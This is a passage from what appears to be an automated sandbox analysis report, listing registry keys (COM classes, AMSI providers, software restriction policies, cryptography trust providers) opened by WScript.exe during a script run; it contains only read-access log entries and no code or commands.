"HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\AMSI\PROVIDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9BA8500E-4C9D-4FB8-B6A6-66E5D227B8A6}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\PROGID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\PROGID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\INTERFACE\{BB1A2AE1-A4F9-11CF-8F20-00805F2CD064}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{BB1A2AE1-A4F9-11CF-8F20-00805F2CD064}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\INTERFACE\{C7EF7658-E1EE-480E-97EA-D52CB4D76D17}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{C7EF7658-E1EE-480E-97EA-D52CB4D76D17}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{539698A0-CDCA-11CF-A5EB-00AA0047A063}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\MSASN1"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\LEVELOBJECTS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\0\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\0\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\0\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\4096\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\4096\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\4096\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\65536\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\65536\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\65536\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\131072\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\131072\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\131072\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\262144\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\262144\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\262144\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\0\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\0\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\0\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\4096\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\4096\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\4096\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\65536\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\65536\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\65536\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\131072\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\131072\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\131072\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\262144\PATHS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\262144\HASHES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\262144\URLZONES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTIFICATE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\FINALPOLICY\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\INITIALIZATION\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\MESSAGE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\SIGNATURE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTCHECK\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\DIAGNOSTICPOLICY\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CLEANUP\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DESHASHSESSIONKEYBACKWARD"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\WINTRUST\CONFIG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE2"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE2\{000C10F1-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE2\{06C9E010-38CE-11D4-A2A3-00104BD35090}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE2\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE2\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLISMYFILETYPE2\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTSIPDLLISMYFILETYPE2"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{000C10F1-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{06C9E010-38CE-11D4-A2A3-00104BD35090}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLPUTSIGNEDDATAMSG\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTSIPDLLPUTSIGNEDDATAMSG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS\{C689AABA-8E78-11D0-8C47-00C04FC295EE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTSIPDLLGETCAPS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETSIGNEDDATAMSG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETSIGNEDDATAMSG\{000C10F1-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETSIGNEDDATAMSG\{06C9E010-38CE-11D4-A2A3-00104BD35090}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETSIGNEDDATAMSG\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETSIGNEDDATAMSG\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETSIGNEDDATAMSG\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTSIPDLLGETSIGNEDDATAMSG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WSCRIPT.SHELL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WSCRIPT.SHELL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WSCRIPT.SHELL\CLSID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WSCRIPT.SHELL\CLSID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PROGIDINDEX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: 